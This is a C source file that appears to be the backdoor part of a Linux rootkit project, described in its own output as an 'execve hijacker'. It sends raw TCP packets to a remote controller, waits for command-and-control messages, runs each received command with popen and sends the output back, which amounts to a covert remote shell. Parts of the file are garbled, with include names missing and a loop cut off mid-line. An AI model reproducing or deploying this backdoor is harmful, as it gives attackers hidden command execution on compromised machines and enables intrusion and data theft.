#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "lib/RawTCP.h" #include "../common/c&c.h" char* execute_command(char* command){ FILE *fp; char* res = calloc(4096, sizeof(char)); char buf[1024]; fp = popen(command, "r"); if(fp == NULL) { printf("Failed to run command\n" ); return "COMMAND ERROR"; } while(fgets(buf, sizeof(buf), fp) != NULL) { strcat(res, buf); } printf("RESULT OF COMMAND: %s\n", res); pclose(fp); return res; } char* getLocalIpAddress(){ char hostbuffer[256]; char* IPbuffer = calloc(256, sizeof(char)); struct hostent *host_entry; int hostname; hostname = gethostname(hostbuffer, sizeof(hostbuffer)); if(hostname==-1){ exit(1); } host_entry = gethostbyname(hostbuffer); if(host_entry == NULL){ exit(1); } // To convert an Internet network // address into ASCII string strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0]))); return IPbuffer; } int main(int argc, char* argv[]){ printf("Hello world from execve hijacker\n"); time_t rawtime; struct tm * timeinfo; time ( &rawtime ); timeinfo = localtime ( &rawtime ); char* timestr = asctime(timeinfo); for(int ii=0; iisaddr), remote_ip, 16); printf("IP: %s\n", local_ip); packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_ACK); if(rawsocket_send(packet_ack)<0){ return -1; } //Start of pseudo connection with the rootkit client int connection_close = 0; while(!connection_close){ packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG); printf("Received client message\n"); char* payload = packet.payload; char *p; p = strtok(payload, "#"); p = strtok(NULL, "#"); if(p){ if(strcmp(p, CC_PROT_FIN_PART)==0){ printf("Connection closed by request\n"); connection_close = 1; }else{ printf("Received request: %s\n", p); char* res = execute_command(p); char* payload_buf = calloc(4096, sizeof(char)); strcat(payload_buf, CC_PROT_MSG); strcat(payload_buf, res); packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, payload_buf); if(rawsocket_send(packet_res)<0){ return -1; } free(payload_buf); free(res); } } } return 0; }